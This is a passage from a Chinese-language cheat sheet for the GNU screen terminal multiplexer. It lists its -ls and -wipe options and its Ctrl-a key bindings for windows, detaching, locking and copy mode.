-ls或--list 显示目前所有的screen作业。
-wipe 检查目前所有的screen作业,并删除已经无法使用的screen作业。
在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始:
C-a ? -> 显示所有键绑定信息
C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
C-a n -> Next,切换到下一个 window
C-a p -> Previous,切换到前一个 window
C-a 0..9 -> 切换到第 0..9 个 window
Ctrl+a [Space] -> 由视窗0循序切换到视窗9
C-a C-a -> 在两个最近使用的 window 间切换
C-a x -> 锁住当前的 window,需用用户密码解锁
C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。
C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。
C-a w -> 显示所有窗口列表
C-a t -> time,显示当前时间,和系统的 load
C-a k -> kill window,强行关闭当前的 window
C-a [ -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像用使用 vi 一样
C-b Backward,PageUp
C-f Forward,PageDown
H(大写) High,将光标移至左上角
L Low,将光标移至左下角
0 移到行首
$ 行末
w forward one word,以字为单位往前移
b backward one word,以字为单位往后移
Space 第一次按为标记区起点,第二次按为终点
Esc 结束 copy mode
C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
[返回页首](#bash shell)